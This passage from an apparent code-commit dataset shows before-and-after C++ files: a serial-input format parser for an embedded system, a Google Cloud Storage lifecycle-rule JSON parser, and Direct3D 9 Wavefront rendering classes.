hex_();\r\n\t\t\t\tbreak;\r\n\t\t\tdefault:\r\n\t\t\t\terr_ = true;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\tif(!err_) {\r\n\t\t\t\t++cnvcnt_;\r\n\t\t\t\tinp_.unget();\r\n\t\t\t\tnext_();\r\n\t\t\t\tval = v;\r\n\t\t\t}\r\n\t\t\treturn *this;\r\n\t\t}\r\n\t};\r\n\r\n\ttemplate<class INP> uint16_t basic_input<INP>::cnvcnt_;\r\n\r\n\ttypedef basic_input<def_chainp> input;\r\n\r\n}\r\n<commit_msg>update operator<commit_after>#pragma once\r\n\/\/=====================================================================\/\/\r\n\/*! @file\r\n    @brief  input クラス @n\r\n\t\t\t数値、文字列などの入力クラス\r\n\t\t\tCopyright 2017 Kunihito Hiramatsu\r\n    @author 平松邦仁 (hira@rvf-rc45.net)\r\n*\/\r\n\/\/=====================================================================\/\/\r\n#include <type_traits>\r\n\r\nextern \"C\" {\r\n\r\n\tchar sci_getch(void);\r\n\r\n};\r\n\r\nnamespace utils {\r\n\r\n\t\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\/\/\r\n\t\/*!\r\n\t\t@brief  標準入力ファンクタ\r\n\t*\/\r\n\t\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\/\/\r\n\tclass def_chainp {\r\n\t\tconst char* str_;\r\n\t\tchar\t\tlast_;\r\n\t\tbool\t\tunget_;\r\n\tpublic:\r\n\t\tdef_chainp(const char* str = nullptr) : str_(str), last_(0), unget_(false) { }\r\n\r\n\t\tvoid unget() {\r\n\t\t\tunget_ = true;\r\n\t\t}\r\n\r\n\t\tchar operator() () {\r\n\t\t\tif(unget_) {\r\n\t\t\t\tunget_ = false;\r\n\t\t\t} else {\r\n\t\t\t\tif(str_ == nullptr) {\r\n\t\t\t\t\tlast_ = sci_getch();\r\n\t\t\t\t} else {\r\n\t\t\t\t\tlast_ = *str_;\r\n\t\t\t\t\tif(last_ != 0) { ++str_; }\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\treturn last_;\r\n\t\t}\r\n\t};\r\n\r\n\r\n\t\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\/\/\r\n\t\/*!\r\n\t\t@brief  汎用入力クラス\r\n\t\t@param[in]\tINP\t入力クラス\r\n\t*\/\r\n\t\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\/\/\r\n\ttemplate <class INP>\r\n\tclass basic_input {\r\n\r\n\t\tconst char*\tform_;\r\n\r\n\t\tINP\t\t\tinp_;\r\n\r\n\t\tuint32_t bin_() {\r\n\t\t\tuint32_t a = 0;\r\n\t\t\tchar ch;\r\n\t\t\twhile((ch = inp_()) != 0 && ch >= '0' && ch <= '1') {\r\n\t\t\t\ta <<= 1;\r\n\t\t\t\ta += ch - '0';\r\n\t\t\t}\r\n\t\t\treturn a;\r\n\t\t}\r\n\r\n\t\tuint32_t oct_() {\r\n\t\t\tuint32_t a = 0;\r\n\t\t\tchar ch;\r\n\t\t\twhile((ch = inp_()) != 0 && ch >= '0' && ch <= '7') {\r\n\t\t\t\ta <<= 3;\r\n\t\t\t\ta += ch - '0';\r\n\t\t\t}\r\n\t\t\treturn a;\r\n\t\t}\r\n\r\n\t\tuint32_t dec_() {\r\n\t\t\tuint32_t a = 0;\r\n\t\t\tchar ch;\r\n\t\t\twhile((ch = inp_()) != 0 && ch >= '0' && ch <= '9') {\r\n\t\t\t\ta *= 10;\r\n\t\t\t\ta += ch - '0';\r\n\t\t\t}\r\n\t\t\treturn a;\r\n\t\t}\r\n\r\n\t\tuint32_t hex_() {\r\n\t\t\tuint32_t a = 0;\r\n\t\t\tchar ch;\r\n\t\t\twhile((ch = inp_()) != 0) {\r\n\t\t\t\tif(ch >= '0' && ch <= '9') {\r\n\t\t\t\t\ta <<= 4;\r\n\t\t\t\t\ta += ch - '0';\r\n\t\t\t\t} else if(ch >= 'A' && ch <= 'F') {\r\n\t\t\t\t\ta <<= 4;\r\n\t\t\t\t\ta += ch - 'A' + 10;\r\n\t\t\t\t} else if(ch >= 'a' && ch <= 'f') {\r\n\t\t\t\t\ta <<= 4;\r\n\t\t\t\t\ta += ch - 'a' + 10;\r\n\t\t\t\t} else {\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\treturn a;\r\n\t\t}\r\n\r\n\t\tenum class mode : uint8_t {\r\n\t\t\tNONE,\r\n\t\t\tBIN,\r\n\t\t\tOCT,\r\n\t\t\tDEC,\r\n\t\t\tHEX,\r\n\t\t};\r\n\t\tmode\tmode_;\r\n\t\tbool\terr_;\r\n\r\n\t\tint\t\tnum_;\r\n\r\n\t\tenum class fmm : uint8_t {\r\n\t\t\tnone,\r\n\t\t\ttype,\r\n\r\n\t\t};\r\n\r\n\t\tvoid next_()\r\n\t\t{\r\n\t\t\tfmm cm = fmm::none;\r\n\t\t\tchar ch;\r\n\t\t\twhile((ch = *form_++) != 0) {\r\n\t\t\t\tswitch(cm) {\r\n\t\t\t\tcase fmm::none:\r\n\t\t\t\t\tif(ch == '[') {\r\n\t\t\t\t\t\tauto a = inp_();\r\n\t\t\t\t\t\tconst char* p = form_;\r\n\t\t\t\t\t\tbool ok = false;\r\n\t\t\t\t\t\twhile((ch = *p++) != 0 && ch != ']') {\r\n\t\t\t\t\t\t\tif(ch == a) ok = true;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tform_ = p;\r\n\t\t\t\t\t\tif(!ok) {\r\n\t\t\t\t\t\t\terr_ = true;\r\n\t\t\t\t\t\t\treturn;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t} else if(ch == '%' && *form_ != '%') {\r\n\t\t\t\t\t\tcm = fmm::type;\r\n\t\t\t\t\t} else if(ch != inp_()) {\r\n\t\t\t\t\t\terr_ = true;\r\n\t\t\t\t\t\treturn;\r\n\t\t\t\t\t}\r\n\t\t\t\t\tbreak;\r\n\t\t\t\tcase fmm::type:\r\n\t\t\t\t\tif(ch == 'b' || ch == 'B') {\r\n\t\t\t\t\t\tmode_ = mode::BIN;\r\n\t\t\t\t\t} else if(ch == 'o' || ch == 'O') {\r\n\t\t\t\t\t\tmode_ = mode::OCT;\r\n\t\t\t\t\t} else if(ch == 'd' || ch == 'D') {\r\n\t\t\t\t\t\tmode_ = mode::DEC;\r\n\t\t\t\t\t} else if(ch == 'x' || ch == 'X') {\r\n\t\t\t\t\t\tmode_ = mode::HEX;\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\terr_ = true;\r\n\t\t\t\t\t}\r\n\t\t\t\t\treturn;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif(ch == 0 && inp_() == 0) ;\r\n\t\t\telse {\r\n\t\t\t\terr_ = true;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\r\n\t\tint32_t nb_(bool sign = true)\r\n\t\t{\r\n\t\t\tbool neg = false;\r\n\t\t\tif(sign) {\r\n\t\t\t\tauto s = inp_();\r\n\t\t\t\tif(s == '-') { neg = true; }\r\n\t\t\t\telse if(s == '+') { neg = false; }\r\n\t\t\t\telse inp_.unget();\r\n\t\t\t}\r\n\t\t\tuint32_t v = 0;\r\n\t\t\tswitch(mode_) {\r\n\t\t\tcase mode::BIN:\r\n\t\t\t\tv = bin_();\r\n\t\t\t\tbreak;\r\n\t\t\tcase mode::OCT:\r\n\t\t\t\tv = oct_();\r\n\t\t\t\tbreak;\r\n\t\t\tcase mode::DEC:\r\n\t\t\t\tv = dec_();\r\n\t\t\t\tbreak;\r\n\t\t\tcase mode::HEX:\r\n\t\t\t\tv = hex_();\r\n\t\t\t\tbreak;\r\n\t\t\tdefault:\r\n\t\t\t\terr_ = true;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\tif(!err_) {\r\n\t\t\t\tinp_.unget();\r\n\t\t\t\tnext_();\r\n\t\t\t\tif(!err_) ++num_;\r\n\t\t\t}\r\n\t\t\tif(neg) return -static_cast<int32_t>(v);\r\n\t\t\telse return static_cast<int32_t>(v);\r\n\t\t}\r\n\r\n\tpublic:\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief  コンストラクター\r\n\t\t\t@param[in]\tform\t入力形式\r\n\t\t\t@param[in]\tinp\t\t変換文字列（nullptrの場合、sci_getch で取得）\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tbasic_input(const char* form, const char* inp = nullptr) : form_(form), inp_(inp),\r\n\t\t\tmode_(mode::NONE), err_(false), num_(0)\r\n\t\t{\r\n\t\t\tnext_();\r\n\t\t}\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief  正常変換数を取得\r\n\t\t\t@return 正常変換数\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tint num() const { return num_; }\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief  テンプレート・オペレーター「%」\r\n\t\t\t@param[in]\tval\t整数型\r\n\t\t\t@return\t自分の参照\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\ttemplate <typename T>\r\n\t\tbasic_input& operator % (T& val)\r\n\t\t{\r\n\t\t\tif(err_) return *this;\r\n\t\t\tval = nb_(!std::is_signed<T>::value);\r\n\t\t\treturn *this;\r\n\t\t}\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief  オペレーター「=」\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tbasic_input& operator = (const basic_input& in) { return *this; }\r\n\t};\r\n\r\n\ttypedef basic_input<def_chainp> input;\r\n\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright 2020 Google LLC\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     https:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"google\/cloud\/storage\/internal\/lifecycle_rule_parser.h\"\n#include \"google\/cloud\/storage\/internal\/common_metadata_parser.h\"\n\nnamespace google {\nnamespace cloud {\nnamespace storage {\nGOOGLE_CLOUD_CPP_INLINE_NAMESPACE_BEGIN\nnamespace internal {\nnamespace {\n\nabsl::optional<std::vector<std::string>> ParseStringListCondition(\n    nlohmann::json const& condition, char const* name) {\n  if (!condition.contains(name)) return absl::nullopt;\n  std::vector<std::string> matches;\n  for (auto const& kv : condition[name].items()) {\n    matches.emplace_back(kv.value().get<std::string>());\n  }\n  return matches;\n}\n\nStatus ParseIntCondition(absl::optional<std::int32_t>& field,\n                         nlohmann::json const& condition, char const* name) {\n  if (!condition.contains(name)) return Status{};\n  auto value = internal::ParseIntField(condition, name);\n  if (!value) return std::move(value).status();\n  field.emplace(*value);\n  return Status{};\n}\n\nStatus ParseBoolCondition(absl::optional<bool>& field,\n                          nlohmann::json const& condition, char const* name) {\n  if (!condition.contains(name)) return Status{};\n  auto value = internal::ParseBoolField(condition, name);\n  if (!value) return std::move(value).status();\n  field.emplace(*value);\n  return Status{};\n}\n\nStatus ParseDateCondition(absl::optional<absl::CivilDay>& field,\n                          nlohmann::json const& condition, char const* name) {\n  if (!condition.contains(name)) return Status{};\n  auto const date = condition.value(name, \"\");\n  absl::CivilDay day;\n  if (!absl::ParseCivilTime(date, &day)) {\n    return Status(StatusCode::kInvalidArgument,\n                  \"Cannot parse \" + std::string(name) + \" with value=<\" + date +\n                      \"> as a date\");\n  }\n  field.emplace(std::move(day));\n  return Status{};\n}\n\n}  \/\/ namespace\n\nStatusOr<LifecycleRule> LifecycleRuleParser::FromJson(\n    nlohmann::json const& json) {\n  if (!json.is_object()) {\n    return Status(StatusCode::kInvalidArgument, __func__);\n  }\n  LifecycleRule result;\n  if (json.count(\"action\") != 0) {\n    result.action_.type = json[\"action\"].value(\"type\", \"\");\n    result.action_.storage_class = json[\"action\"].value(\"storageClass\", \"\");\n  }\n  if (json.count(\"condition\") == 0) return result;\n\n  auto condition = json[\"condition\"];\n\n  auto status = ParseIntCondition(result.condition_.age, condition, \"age\");\n  if (!status.ok()) return status;\n  status = ParseDateCondition(result.condition_.created_before, condition,\n                              \"createdBefore\");\n  if (!status.ok()) return status;\n  status = ParseBoolCondition(result.condition_.is_live, condition, \"isLive\");\n  if (!status.ok()) return status;\n  result.condition_.matches_storage_class =\n      ParseStringListCondition(condition, \"matchesStorageClass\");\n  status = ParseIntCondition(result.condition_.num_newer_versions, condition,\n                             \"numNewerVersions\");\n  if (!status.ok()) return status;\n  status = ParseIntCondition(result.condition_.days_since_noncurrent_time,\n                             condition, \"daysSinceNoncurrentTime\");\n  if (!status.ok()) return status;\n  status = ParseDateCondition(result.condition_.noncurrent_time_before,\n                              condition, \"noncurrentTimeBefore\");\n  if (!status.ok()) return status;\n  status = ParseIntCondition(result.condition_.days_since_custom_time,\n                             condition, \"daysSinceCustomTime\");\n  if (!status.ok()) return status;\n  status = ParseDateCondition(result.condition_.custom_time_before, condition,\n                              \"customTimeBefore\");\n  if (!status.ok()) return status;\n  result.condition_.matches_prefix =\n      ParseStringListCondition(condition, \"matchesPrefix\");\n  result.condition_.matches_suffix =\n      ParseStringListCondition(condition, \"matchesSuffix\");\n  return result;\n}\n\nStatusOr<LifecycleRule> LifecycleRuleParser::FromString(\n    std::string const& text) {\n  auto json = nlohmann::json::parse(text, nullptr, false);\n  return FromJson(json);\n}\n\n}  \/\/ namespace internal\nGOOGLE_CLOUD_CPP_INLINE_NAMESPACE_END\n}  \/\/ namespace storage\n}  \/\/ namespace cloud\n}  \/\/ namespace google\n<commit_msg>cleanup(storage): fix `clang-tidy` build (#9429)<commit_after>\/\/ Copyright 2020 Google LLC\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     https:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"google\/cloud\/storage\/internal\/lifecycle_rule_parser.h\"\n#include \"google\/cloud\/storage\/internal\/common_metadata_parser.h\"\n\nnamespace google {\nnamespace cloud {\nnamespace storage {\nGOOGLE_CLOUD_CPP_INLINE_NAMESPACE_BEGIN\nnamespace internal {\nnamespace {\n\nabsl::optional<std::vector<std::string>> ParseStringListCondition(\n    nlohmann::json const& condition, char const* name) {\n  if (!condition.contains(name)) return absl::nullopt;\n  std::vector<std::string> matches;\n  for (auto const& kv : condition[name].items()) {\n    matches.emplace_back(kv.value().get<std::string>());\n  }\n  return matches;\n}\n\nStatus ParseIntCondition(absl::optional<std::int32_t>& field,\n                         nlohmann::json const& condition, char const* name) {\n  if (!condition.contains(name)) return Status{};\n  auto value = internal::ParseIntField(condition, name);\n  if (!value) return std::move(value).status();\n  field.emplace(*value);\n  return Status{};\n}\n\nStatus ParseBoolCondition(absl::optional<bool>& field,\n                          nlohmann::json const& condition, char const* name) {\n  if (!condition.contains(name)) return Status{};\n  auto value = internal::ParseBoolField(condition, name);\n  if (!value) return std::move(value).status();\n  field.emplace(*value);\n  return Status{};\n}\n\nStatus ParseDateCondition(absl::optional<absl::CivilDay>& field,\n                          nlohmann::json const& condition, char const* name) {\n  if (!condition.contains(name)) return Status{};\n  auto const date = condition.value(name, \"\");\n  absl::CivilDay day;\n  if (!absl::ParseCivilTime(date, &day)) {\n    return Status(StatusCode::kInvalidArgument,\n                  \"Cannot parse \" + std::string(name) + \" with value=<\" + date +\n                      \"> as a date\");\n  }\n  field.emplace(std::move(day));\n  return Status{};\n}\n\n}  \/\/ namespace\n\nStatusOr<LifecycleRule> LifecycleRuleParser::FromJson(\n    nlohmann::json const& json) {\n  if (!json.is_object()) {\n    return Status(StatusCode::kInvalidArgument, __func__);\n  }\n  LifecycleRule result;\n  if (json.count(\"action\") != 0) {\n    result.action_.type = json[\"action\"].value(\"type\", \"\");\n    result.action_.storage_class = json[\"action\"].value(\"storageClass\", \"\");\n  }\n  if (json.count(\"condition\") == 0) return result;\n\n  auto const& condition = json[\"condition\"];\n\n  auto status = ParseIntCondition(result.condition_.age, condition, \"age\");\n  if (!status.ok()) return status;\n  status = ParseDateCondition(result.condition_.created_before, condition,\n                              \"createdBefore\");\n  if (!status.ok()) return status;\n  status = ParseBoolCondition(result.condition_.is_live, condition, \"isLive\");\n  if (!status.ok()) return status;\n  result.condition_.matches_storage_class =\n      ParseStringListCondition(condition, \"matchesStorageClass\");\n  status = ParseIntCondition(result.condition_.num_newer_versions, condition,\n                             \"numNewerVersions\");\n  if (!status.ok()) return status;\n  status = ParseIntCondition(result.condition_.days_since_noncurrent_time,\n                             condition, \"daysSinceNoncurrentTime\");\n  if (!status.ok()) return status;\n  status = ParseDateCondition(result.condition_.noncurrent_time_before,\n                              condition, \"noncurrentTimeBefore\");\n  if (!status.ok()) return status;\n  status = ParseIntCondition(result.condition_.days_since_custom_time,\n                             condition, \"daysSinceCustomTime\");\n  if (!status.ok()) return status;\n  status = ParseDateCondition(result.condition_.custom_time_before, condition,\n                              \"customTimeBefore\");\n  if (!status.ok()) return status;\n  result.condition_.matches_prefix =\n      ParseStringListCondition(condition, \"matchesPrefix\");\n  result.condition_.matches_suffix =\n      ParseStringListCondition(condition, \"matchesSuffix\");\n  return result;\n}\n\nStatusOr<LifecycleRule> LifecycleRuleParser::FromString(\n    std::string const& text) {\n  auto json = nlohmann::json::parse(text, nullptr, false);\n  return FromJson(json);\n}\n\n}  \/\/ namespace internal\nGOOGLE_CLOUD_CPP_INLINE_NAMESPACE_END\n}  \/\/ namespace storage\n}  \/\/ namespace cloud\n}  \/\/ namespace google\n<|endoftext|>"}
{"text":"<commit_before>\/*\r\n***************************************\r\n*   Asylum3D @ 2014-12-24\r\n***************************************\r\n*\/\r\n\r\n#include \"..\/..\/asylum.hpp\"\r\n\r\n\/*****************************************************************************\/\r\n\/*                                  Effect                                   *\/\r\n\/*****************************************************************************\/\r\n\r\n\/* Asylum Namespace *\/\r\nnamespace asy {\r\n\r\n\/****************************\/\r\n\/* Wavefront Effect (Fixed) *\/\r\n\/****************************\/\r\nclass crh3d9_ffct_wf_fixed : public IEffect\r\n{\r\nprivate:\r\n    bool                m_uselt;\r\n    BOOL*               m_onoff;\r\n    DWORD               m_count;\r\n    int64u              m_flags;\r\n    D3DCOLOR*           m_color;\r\n    D3DLIGHT9*          m_light;\r\n    LPDIRECT3DDEVICE9   m_devcs;\r\n\r\npublic:\r\n    \/* ===================================================================================================================== *\/\r\n    crh3d9_ffct_wf_fixed (D3DCOLOR* ambient, D3DLIGHT9* light, BOOL* onoff, DWORD count, int64u flags, const crh3d9_main* main)\r\n    {\r\n        m_onoff = onoff;\r\n        m_count = count;\r\n        m_flags = flags;\r\n        m_light = light;\r\n        m_color = ambient;\r\n        m_devcs = main->get_main()->dev;\r\n        m_uselt = (m_light != NULL && m_onoff != NULL) ? true : false;\r\n    }\r\n\r\n    \/* ========================== *\/\r\n    virtual ~crh3d9_ffct_wf_fixed ()\r\n    {\r\n    }\r\n\r\npublic:\r\n    \/* =============== *\/\r\n    virtual void enter ()\r\n    {\r\n        uint_t  fvf = D3DFVF_XYZ;\r\n\r\n        m_devcs->SetRenderState(D3DRS_COLORVERTEX, FALSE);\r\n        m_devcs->SetRenderState(D3DRS_DIFFUSEMATERIALSOURCE, D3DMCS_MATERIAL);\r\n        m_devcs->SetRenderState(D3DRS_SPECULARMATERIALSOURCE, D3DMCS_MATERIAL);\r\n        if (m_flags & ATTR_TYPE_TRANS) {\r\n            m_devcs->SetRenderState(D3DRS_ALPHABLENDENABLE, TRUE);\r\n            m_devcs->SetRenderState(D3DRS_BLENDOP, D3DBLENDOP_ADD);\r\n            m_devcs->SetRenderState(D3DRS_SRCBLEND, D3DBLEND_SRCALPHA);\r\n            m_devcs->SetRenderState(D3DRS_DESTBLEND, D3DBLEND_INVSRCALPHA);\r\n        }\r\n        if (m_flags & ATTR_TYPE_NORMAL) {\r\n            fvf |= D3DFVF_NORMAL;\r\n            if (m_uselt) {\r\n                m_devcs->SetRenderState(D3DRS_LIGHTING, TRUE);\r\n                if (m_flags & ATTR_TYPE_SPECULAR)\r\n                    m_devcs->SetRenderState(D3DRS_SPECULARENABLE, TRUE);\r\n            }\r\n        }\r\n        if (m_flags & ATTR_TYPE_TEXTURE)\r\n            fvf |= D3DFVF_TEX1;\r\n        m_devcs->SetFVF(fvf);\r\n    }\r\n\r\n    \/* =============== *\/\r\n    virtual void leave ()\r\n    {\r\n        m_devcs->SetRenderState(D3DRS_COLORVERTEX, TRUE);\r\n        m_devcs->SetRenderState(D3DRS_DIFFUSEMATERIALSOURCE, D3DMCS_COLOR1);\r\n        m_devcs->SetRenderState(D3DRS_SPECULARMATERIALSOURCE, D3DMCS_COLOR2);\r\n        if (m_flags & ATTR_TYPE_TRANS)\r\n            m_devcs->SetRenderState(D3DRS_ALPHABLENDENABLE, FALSE);\r\n        if (m_flags & ATTR_TYPE_NORMAL) {\r\n            if (m_uselt) {\r\n                m_devcs->SetRenderState(D3DRS_LIGHTING, FALSE);\r\n                if (m_flags & ATTR_TYPE_SPECULAR)\r\n                    m_devcs->SetRenderState(D3DRS_SPECULARENABLE, FALSE);\r\n            }\r\n        }\r\n    }\r\n\r\n    \/* ================ *\/\r\n    virtual void update ()\r\n    {\r\n        if (m_color != NULL)\r\n            m_devcs->SetRenderState(D3DRS_AMBIENT, m_color[0]);\r\n        if (m_uselt) {\r\n            for (DWORD idx = 0; idx < m_count; idx++) {\r\n                m_devcs->SetLight(idx, &m_light[idx]);\r\n                m_devcs->LightEnable(idx, m_onoff[idx]);\r\n            }\r\n        }\r\n    }\r\n};\r\n\r\n}   \/* namespace *\/\r\n\r\n\/* ================================================================================ *\/\r\nCR_API asy::IEffect* create_crh3d9_ffct_wf_fixed (D3DCOLOR* ambient, D3DLIGHT9* light,\r\n                BOOL* onoff, DWORD count, int64u flags, const asy::crh3d9_main* main)\r\n{\r\n    asy::crh3d9_ffct_wf_fixed*  ffct;\r\n\r\n    ffct = new asy::crh3d9_ffct_wf_fixed (ambient, light, onoff, count, flags, main);\r\n    return ((asy::IEffect*)ffct);\r\n}\r\n\r\n\/*****************************************************************************\/\r\n\/*                                Attribute                                  *\/\r\n\/*****************************************************************************\/\r\n\r\n\/* Asylum Namespace *\/\r\nnamespace asy {\r\n\r\n\/*******************************\/\r\n\/* Wavefront Attribute (Fixed) *\/\r\n\/*******************************\/\r\nclass crh3d9_attr_wf_fixed : public IAttrib\r\n{\r\nprotected:\r\n    D3DMATERIAL9        m_mtl;\r\n    crh3d9_texr*        m_map_kd;\r\n    LPDIRECT3DDEVICE9   m_device;\r\n\r\npublic:\r\n    \/* ======================================== *\/\r\n    crh3d9_attr_wf_fixed (const crh3d9_main* main)\r\n    {\r\n        m_device = main->get_main()->dev;\r\n    }\r\n\r\n    \/* ========================== *\/\r\n    virtual ~crh3d9_attr_wf_fixed ()\r\n    {\r\n    }\r\n\r\npublic:\r\n    \/* ===================================================================== *\/\r\n    bool init_ff (const sWAVEFRONT_M* mtl, const map_acs<crh3d9_texr>* texpool)\r\n    {\r\n        if (mtl->map_kd != NULL) {\r\n            m_map_kd = texpool->get(mtl->map_kd);\r\n            if (m_map_kd == NULL)\r\n                return (false);\r\n        }\r\n        else {\r\n            m_map_kd = NULL;\r\n        }\r\n        m_mtl.Diffuse.r = mtl->kd.x;\r\n        m_mtl.Diffuse.g = mtl->kd.y;\r\n        m_mtl.Diffuse.b = mtl->kd.z;\r\n        m_mtl.Diffuse.a = mtl->d;\r\n        if (m_mtl.Diffuse.a < 0.0f)\r\n            m_mtl.Diffuse.a = 0.0f;\r\n        else\r\n        if (m_mtl.Diffuse.a > 1.0f)\r\n            m_mtl.Diffuse.a = 1.0f;\r\n        m_mtl.Ambient.r = mtl->ka.x;\r\n        m_mtl.Ambient.g = mtl->ka.y;\r\n        m_mtl.Ambient.b = mtl->ka.z;\r\n        m_mtl.Ambient.a = 0.0f;\r\n        m_mtl.Specular.r = mtl->ks.x;\r\n        m_mtl.Specular.g = mtl->ks.y;\r\n        m_mtl.Specular.b = mtl->ks.z;\r\n        m_mtl.Specular.a = 0.0f;\r\n        m_mtl.Emissive.r = 0.0f;\r\n        m_mtl.Emissive.g = 0.0f;\r\n        m_mtl.Emissive.b = 0.0f;\r\n        m_mtl.Emissive.a = 0.0f;\r\n        m_mtl.Power = mtl->ns;\r\n        m_type = ATTR_TYPE_NORMAL;\r\n        if (m_mtl.Diffuse.a < 1.0f)\r\n            m_type |= ATTR_TYPE_TRANS;\r\n        if (m_map_kd != NULL)\r\n            m_type |= ATTR_TYPE_TEXTURE;\r\n        if (m_mtl.Specular.r <= 0.0f && m_mtl.Specular.g <= 0.0f &&\r\n            m_mtl.Specular.b <= 0.0f && m_mtl.Specular.a <= 0.0f)\r\n            m_type |= ATTR_TYPE_SPECULAR;\r\n        return (true);\r\n    }\r\n\r\n    \/* ================ *\/\r\n    virtual void commit ()\r\n    {\r\n        if (m_map_kd != NULL)\r\n            m_map_kd->apply(0);\r\n        else\r\n            m_device->SetTexture(0, NULL);\r\n        m_device->SetMaterial(&m_mtl);\r\n    }\r\n};\r\n\r\n}   \/* namespace *\/\r\n\r\n\/* ==================================================================== *\/\r\nCR_API asy::IAttrib* create_crh3d9_attr_wf_fixed (const sWAVEFRONT_M* mtl,\r\n    const asy::map_acs<asy::crh3d9_texr>* texpool, const asy::crh3d9_main* main)\r\n{\r\n    asy::crh3d9_attr_wf_fixed*  attr;\r\n\r\n    attr = new asy::crh3d9_attr_wf_fixed (main);\r\n    if (attr != NULL) {\r\n        if (!attr->init_ff(mtl, texpool)) {\r\n            delete attr;\r\n            attr = NULL;\r\n        }\r\n    }\r\n    return ((asy::IAttrib*)attr);\r\n}\r\n\r\n\/*****************************************************************************\/\r\n\/*                                   Mesh                                    *\/\r\n\/*****************************************************************************\/\r\n\r\n\/* Asylum Namespace *\/\r\nnamespace asy {\r\n\r\n\/**********************************\/\r\n\/* Wavefront Mesh (Single Stream) *\/\r\n\/**********************************\/\r\nclass crh3d9_mesh_wf_ss : public IMesh\r\n{\r\nprivate:\r\n    sD3D9_MESH*         m_mesh;\r\n    const sD3D9_CALL*   m_call;\r\n    LPDIRECT3DDEVICE9   m_devs;\r\n\r\npublic:\r\n    \/* ===================================== *\/\r\n    crh3d9_mesh_wf_ss (const crh3d9_main* main)\r\n    {\r\n        m_mesh = NULL;\r\n        m_call = main->get_call();\r\n        m_devs = main->get_main()->dev;\r\n    }\r\n\r\n    \/* ======================= *\/\r\n    virtual ~crh3d9_mesh_wf_ss ()\r\n    {\r\n        if (m_mesh != NULL)\r\n            m_call->release_mesh(m_mesh);\r\n    }\r\n\r\npublic:\r\n    \/* ==================================================================== *\/\r\n    bool init2_ss (const sWAVEFRONT* obj, leng_t idx, const crh3d9_main* main)\r\n    {\r\n        leng_t  nv, ni, bpv;\r\n\r\n        nv = wfront_gen_mesh2(NULL, NULL, NULL, 0, 0, 0, NULL, &ni, obj, idx);\r\n        if (nv == 0)\r\n            return (false);\r\n        bpv = sizeof(vec3d_t);\r\n        if (obj->p_f[0].idx[2] != 0)\r\n            bpv += sizeof(vec3d_t);\r\n        if (obj->p_f[0].idx[1] != 0)\r\n            bpv += sizeof(vec2d_t);\r\n\r\n        void_t* vb;\r\n        void_t* ib;\r\n\r\n        vb = mem_calloc(nv, bpv);\r\n        if (vb == NULL)\r\n            return (false);\r\n        if (nv > 65536)\r\n            ib = mem_calloc(ni, sizeof(int32u));\r\n        else\r\n            ib = mem_calloc(ni, sizeof(int16u));\r\n        if (ib == NULL) {\r\n            mem_free(vb);\r\n            return (false);\r\n        }\r\n\r\n        uint_t      fvf;\r\n        vec3d_t*    xyz;\r\n        vec3d_t*    nrm;\r\n        vec2d_t*    uvw;\r\n\r\n        fvf = D3DFVF_XYZ;\r\n        xyz = (vec3d_t*)vb;\r\n        if (obj->p_f[0].idx[2] != 0) {\r\n            fvf |= D3DFVF_NORMAL;\r\n            nrm = xyz + 1;\r\n            uvw = (vec2d_t*)(nrm + 1);\r\n        }\r\n        else {\r\n            nrm = NULL;\r\n            uvw = (vec2d_t*)(xyz + 1);\r\n        }\r\n        if (obj->p_f[0].idx[1] != 0)\r\n            fvf |= D3DFVF_TEX1;\r\n        else\r\n            uvw = NULL;\r\n        wfront_gen_mesh2(xyz, nrm, uvw, bpv, 0, 0, ib, NULL, obj, idx);\r\n        m_mesh = m_call->create_mesh_vib(main->get_main(), nv, bpv, ni,\r\n                            D3DPOOL_MANAGED, D3DUSAGE_WRITEONLY, D3DPOOL_MANAGED,\r\n                                    D3DUSAGE_WRITEONLY, fvf, vb, ib);\r\n        mem_free(vb);\r\n        mem_free(ib);\r\n        if (m_mesh == NULL)\r\n            return (false);\r\n        return (true);\r\n    }\r\n\r\n    \/* ================ *\/\r\n    